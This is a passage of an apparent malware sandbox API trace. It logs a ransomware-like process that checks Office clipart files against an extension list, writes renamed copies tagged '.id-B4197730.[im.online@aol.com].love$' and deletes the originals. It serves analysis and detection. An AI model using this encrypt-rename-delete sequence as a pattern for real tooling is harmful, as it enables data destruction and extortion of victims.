Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.249] lstrlenW (lpString=".dbf") returned 4 [0123.249] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.249] lstrlenW (lpString=".1cd") returned 4 [0123.249] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.250] lstrlenW (lpString=".jpg") returned 4 [0123.250] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.250] lstrlenW (lpString=".doc") returned 4 [0123.250] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.250] lstrlenW (lpString=".docx") returned 5 [0123.250] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.250] lstrlenW (lpString=".pdf") returned 4 [0123.250] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.250] lstrlenW (lpString=".xls") returned 4 [0123.250] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.250] lstrlenW (lpString=".xlsx") returned 5 [0123.250] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.250] lstrlenW (lpString=".ppt") returned 4 [0123.250] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.250] lstrlenW (lpString=".zip") returned 4 [0123.250] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.250] lstrlenW (lpString=".rar") returned 4 [0123.250] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.250] lstrlenW (lpString=".bz2") returned 4 [0123.250] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.250] lstrlenW (lpString=".7z") returned 3 [0123.250] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.250] lstrlenW (lpString=".dbf") returned 4 [0123.251] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.251] lstrlenW (lpString=".1cd") returned 4 [0123.251] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0123.251] lstrlenW (lpString=".jpg") returned 4 [0123.251] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.251] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.251] lstrlenW (lpString="BD19986_.WMF") returned 12 [0123.251] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0123.426] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=14486) returned 1 [0123.426] CloseHandle (hObject=0x354) returned 1 [0123.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 0x220 [0123.426] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0123.426] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.426] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0123.427] GetLastError () returned 0x0 [0123.427] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x3896, lpOverlapped=0x0) returned 1 [0123.434] WriteFile (in: hFile=0x37c, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x38a0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x38a0, lpOverlapped=0x0) returned 1 [0123.435] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.436] WriteFile (in: hFile=0x37c, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.436] SetEndOfFile (hFile=0x37c) returned 1 [0123.436] CloseHandle (hObject=0x37c) returned 1 [0123.438] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.438] SetEndOfFile (hFile=0x354) returned 1 [0123.439] CloseHandle (hObject=0x354) returned 1 [0123.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.439] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19986_.wmf")) returned 1 [0123.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.440] lstrlenW (lpString=".doc") returned 4 [0123.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.440] lstrlenW (lpString=".docx") returned 5 [0123.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.440] lstrlenW (lpString=".pdf") returned 4 [0123.440] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.440] lstrlenW (lpString=".xls") returned 4 [0123.440] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.440] lstrlenW (lpString=".xlsx") returned 5 [0123.440] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.440] lstrlenW (lpString=".ppt") returned 4 [0123.440] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.440] lstrlenW (lpString=".zip") returned 4 [0123.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.441] lstrlenW (lpString=".rar") returned 4 [0123.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.441] lstrlenW (lpString=".bz2") returned 4 [0123.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.441] lstrlenW (lpString=".7z") returned 3 [0123.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.441] lstrlenW (lpString=".dbf") returned 4 [0123.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.441] lstrlenW (lpString=".1cd") returned 4 [0123.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.441] lstrlenW (lpString=".jpg") returned 4 [0123.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.445] lstrlenW (lpString=".doc") returned 4 [0123.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.445] lstrlenW (lpString=".docx") returned 5 [0123.445] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.445] lstrlenW (lpString=".pdf") returned 4 [0123.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.445] lstrlenW (lpString=".xls") returned 4 [0123.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.445] lstrlenW (lpString=".xlsx") returned 5 [0123.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.445] lstrlenW (lpString=".ppt") returned 4 [0123.445] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.445] lstrlenW (lpString=".zip") returned 4 [0123.445] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.445] lstrlenW (lpString=".rar") returned 4 [0123.445] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.445] lstrlenW (lpString=".bz2") returned 4 [0123.445] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.445] lstrlenW (lpString=".7z") returned 3 [0123.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.446] lstrlenW (lpString=".dbf") returned 4 [0123.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.446] lstrlenW (lpString=".1cd") returned 4 [0123.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19986_.WMF") returned 68 [0123.446] lstrlenW (lpString=".jpg") returned 4 [0123.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.446] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.446] lstrlenW (lpString="BD19988_.WMF") returned 12 [0123.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0123.447] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=18304) returned 1 [0123.447] CloseHandle (hObject=0x354) returned 1 [0123.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x220 [0123.447] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.447] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0123.447] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.448] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.448] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0123.448] GetLastError () returned 0x0 [0123.448] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x4780, lpOverlapped=0x0) returned 1 [0123.464] WriteFile (in: hFile=0x37c, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x4790, lpOverlapped=0x0) returned 1 [0123.465] ReadFile (in: hFile=0x354, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.465] WriteFile (in: hFile=0x37c, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.466] SetEndOfFile (hFile=0x37c) returned 1 [0123.466] CloseHandle (hObject=0x37c) returned 1 [0123.468] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.468] SetEndOfFile (hFile=0x354) returned 1 [0123.470] CloseHandle (hObject=0x354) returned 1 [0123.470] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.470] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0123.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.472] lstrlenW (lpString=".doc") returned 4 [0123.472] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.472] lstrlenW (lpString=".docx") returned 5 [0123.472] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.472] lstrlenW (lpString=".pdf") returned 4 [0123.472] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.472] lstrlenW (lpString=".xls") returned 4 [0123.472] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.472] lstrlenW (lpString=".xlsx") returned 5 [0123.472] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.472] lstrlenW (lpString=".ppt") returned 4 [0123.472] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.472] lstrlenW (lpString=".zip") returned 4 [0123.472] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.473] lstrlenW (lpString=".rar") returned 4 [0123.473] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.473] lstrlenW (lpString=".bz2") returned 4 [0123.473] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.473] lstrlenW (lpString=".7z") returned 3 [0123.473] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.473] lstrlenW (lpString=".dbf") returned 4 [0123.473] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.473] lstrlenW (lpString=".1cd") returned 4 [0123.473] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.473] lstrlenW (lpString=".jpg") returned 4 [0123.473] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.473] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.473] lstrlenW (lpString=".doc") returned 4 [0123.473] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.473] lstrlenW (lpString=".docx") returned 5 [0123.473] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.473] lstrlenW (lpString=".pdf") returned 4 [0123.473] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.473] lstrlenW (lpString=".xls") returned 4 [0123.473] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.473] lstrlenW (lpString=".xlsx") returned 5 [0123.473] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.473] lstrlenW (lpString=".ppt") returned 4 [0123.474] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.474] lstrlenW (lpString=".zip") returned 4 [0123.474] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.474] lstrlenW (lpString=".rar") returned 4 [0123.474] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.474] lstrlenW (lpString=".bz2") returned 4 [0123.474] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.474] lstrlenW (lpString=".7z") returned 3 [0123.474] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.474] lstrlenW (lpString=".dbf") returned 4 [0123.474] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.474] lstrlenW (lpString=".1cd") returned 4 [0123.474] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 68 [0123.474] lstrlenW (lpString=".jpg") returned 4 [0123.474] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0123.474] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0123.474] lstrlenW (lpString="BL00008_.WMF") returned 12 [0123.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0123.478] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x321ff14 | out: lpFileSize=0x321ff14*=12520) returned 1 [0123.478] CloseHandle (hObject=0x37c) returned 1 [0123.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 0x220 [0123.478] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0123.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0123.485] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.485] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.485] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0123.485] GetLastError () returned 0x0 [0123.485] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x30e8, lpOverlapped=0x0) returned 1 [0123.697] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0x30f0, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0x30f0, lpOverlapped=0x0) returned 1 [0123.707] ReadFile (in: hFile=0x3a0, lpBuffer=0x3c21020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x321fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesRead=0x321fecc*=0x0, lpOverlapped=0x0) returned 1 [0123.707] WriteFile (in: hFile=0x344, lpBuffer=0x3c21020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x321fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c21020*, lpNumberOfBytesWritten=0x321fc94*=0xec, lpOverlapped=0x0) returned 1 [0123.707] SetEndOfFile (hFile=0x344) returned 1 [0123.707] CloseHandle (hObject=0x344) returned 1 [0123.709] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x321fec0 | out: lpNewFilePointer=0x0) returned 1 [0123.709] SetEndOfFile (hFile=0x3a0) returned 1 [0123.710] CloseHandle (hObject=0x3a0) returned 1 [0123.710] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0123.710] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00008_.wmf")) returned 1 [0123.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.711] lstrlenW (lpString=".doc") returned 4 [0123.711] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0123.711] lstrlenW (lpString=".docx") returned 5 [0123.711] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0123.711] lstrlenW (lpString=".pdf") returned 4 [0123.711] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0123.711] lstrlenW (lpString=".xls") returned 4 [0123.711] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0123.711] lstrlenW (lpString=".xlsx") returned 5 [0123.711] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0123.711] lstrlenW (lpString=".ppt") returned 4 [0123.711] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0123.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.711] lstrlenW (lpString=".zip") returned 4 [0123.711] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0123.711] lstrlenW (lpString=".rar") returned 4 [0123.711] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0123.711] lstrlenW (lpString=".bz2") returned 4 [0123.711] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0123.711] lstrlenW (lpString=".7z") returned 3 [0123.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0123.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.711] lstrlenW (lpString=".dbf") returned 4 [0123.711] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0123.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.711] lstrlenW (lpString=".1cd") returned 4 [0123.711] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0123.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00008_.WMF") returned 68 [0123.712] 